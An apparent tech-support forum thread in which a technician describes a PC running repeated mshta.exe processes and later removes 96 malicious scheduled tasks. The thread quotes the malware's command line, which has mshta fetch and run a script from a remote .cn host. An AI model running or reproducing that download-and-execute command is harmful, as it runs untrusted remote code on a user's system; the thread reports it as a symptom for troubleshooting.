[Last Call] Learn how to a build a cloud-first strategyRegister Now


mshta.exe problem

Posted on 2009-02-11
Medium Priority
Last Modified: 2013-12-07
We have a PC in for repair which has an issue with mshta.exe. The problem is that a svchost process is the parent of many mshta.exe children each have a command line of

mshta.exe http://syhrywbjomwkphwxgknu.cn/s_t_t.php

When this process runs, Avast Antivirus blocks the result as a threat. Scanning the system with Avast, Spybot Search and Destroy, Ad-Aware, SuperantiSpyWare, combofix and prevx show the system to be clean.
There seems to be a few users having similar issues with this problem. DOes anyone know of a fix for the issue.

Many thanks
Question by:PureITy
LVL 27

Expert Comment

ID: 23624411
Give this a try.
Ttype the following commands in the Run dialog box:
sfc /purgecache
After the above command runs type the following in the Run dialog box.
sfc /scannow
You will need your OS CD. SFC SCANNOW takes about fifteen minutes to run.
Reboot and test.
I'm assuming that you ran your scans in Safe Mode.

Accepted Solution

PureITy earned 0 total points
ID: 23685163
Problem has now been resolve. After trying the suggestion from David, the problem still existed.

We found that all icons in System Tools had been removed together with all icons in Administrive Tools. Once we had restored the icons and opened Scheduled Tasks we found 96 separate entries set to run at 15 minute intervals which ran the said process. Deleting the 96 entries resolved the issue.

Whatever caused the issue is still a mystery.

Regards Paul.

Featured Post

What does it mean to be "Always On"?

Is your cloud always on? With an Always On cloud you won't have to worry about downtime for maintenance or software application code updates, ensuring that your bottom line isn't affected.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

When the s#!t hits the fan, you don’t have time to look up who’s on call, draft emails, call collaborators, or send text messages. An instant chat window is definitely the way to go, especially one like HipChat. HipChat is a true business app. An…
Ready to get certified? Check out some courses that help you prepare for third-party exams.
This tutorial demonstrates how to identify and create boundary or building outlines in Google Maps. In this example, I outline the boundaries of an enclosed skatepark within a community park.  Login to your Google Account, then  Google for "Google M…
The viewer will learn how to look for a specific file type in a local or remote server directory using PHP.
Suggested Courses

831 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question